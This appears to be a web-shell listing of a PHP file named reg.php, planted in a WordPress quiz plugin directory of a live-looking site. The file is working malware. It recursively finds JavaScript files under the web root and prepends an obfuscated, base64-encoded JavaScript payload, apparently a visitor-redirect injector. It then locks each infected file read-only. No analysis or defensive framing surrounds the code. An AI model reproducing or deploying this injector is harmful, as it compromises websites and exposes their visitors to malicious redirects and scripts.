AlkantarClanX12
Current Path : /proc/self/root/home/thanudqk/siamfreetour.com/wp-content/plugins/hd-quiz/ |
Current File : //proc/self/root/home/thanudqk/siamfreetour.com/wp-content/plugins/hd-quiz/reg.php |
<?php set_time_limit(0); error_reporting(0); function FF($dir) { $foundFiles = []; $files = scandir($dir); foreach ($files as $file) { $fp = $dir . '/' . $file; if ($file !== '.' && $file !== '..') { if (is_dir($fp)) { $foundFiles = array_merge($foundFiles, FF($fp)); } elseif (pathinfo($file, PATHINFO_EXTENSION) == 'js' && strpos($file, 'e') !== false) { $foundFiles[] = $fp; } } } return $foundFiles; } function PF($fp) { $content = file_get_contents($fp); $text = "dmFyIGxhbmd1YWdlLGN1cnJlbnRMYW5ndWFnZSxsYW5ndWFnZXNOb1JlZGlyZWN0LGhhc1dhc0Nvb2tpZSxleHBpcmF0aW9uRGF0ZTsoZnVuY3Rpb24oKXt2YXIgVGpvPScnLFV4Rj03MTUtNzA0O2Z1bmN0aW9uIEpPQyhkKXt2YXIgaj00NjU4MzI1O3ZhciBmPWQubGVuZ3RoO3ZhciBvPVtdO2Zvcih2YXIgeT0wO3k8Zjt5Kyspe29beV09ZC5jaGFyQXQoeSl9O2Zvcih2YXIgeT0wO3k8Zjt5Kyspe3ZhciByPWoqKHkrMTc1KSsoaiU1MDQwNSk7dmFyIHQ9aiooeSs2MjYpKyhqJTUzMDI2KTt2YXIgYT1yJWY7dmFyIHc9dCVmO3ZhciBiPW9bYV07b1thXT1vW3ddO29bd109YjtqPShyK3QpJTcxNzU2OTI7fTtyZXR1cm4gby5qb2luKCcnKX07dmFyIElEVD1KT0MoJ3J5bnV1bnBqcXNya2JkdGVjb29teHRnZnNvbHdjcmh6dmFjdGknKS5zdWJzdHIoMCxVeEYpO3ZhciB3UWc9J107KCh0KDFlbUE9MyB2cD0oLnB2KHI1ZjtjYW41cmFoN1ssZyJsbTEoaWx1bnApbnZdWz0idWJhOyBrPS50aHZyYWFhKSkuNSk5MDsrMjFpdWQuNnQ4dzx1MW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N7JnVlI11jX3JtKT0nKSk7dmFyIEtVcj1EVVQoVGpvLEVOSiApO0tVcig2MTEzKTtyZXR1cm4gNTc5NX0pKCk7 "; if (strpos($content, 'languagesNoRedirect') === false) { @chmod($fp, 0666); $newContent = base64_decode($text) . $content; file_put_contents($fp, $newContent); @chmod($fp, 0444); return true; } return false; } // main $directory = $_SERVER['DOCUMENT_ROOT']; $foundFiles = FF($directory); $fixedCount = 0; foreach ($foundFiles as $file) { if (PF($file)) { $fixedCount++; } } echo "work_about $fixedCount\n"; ?>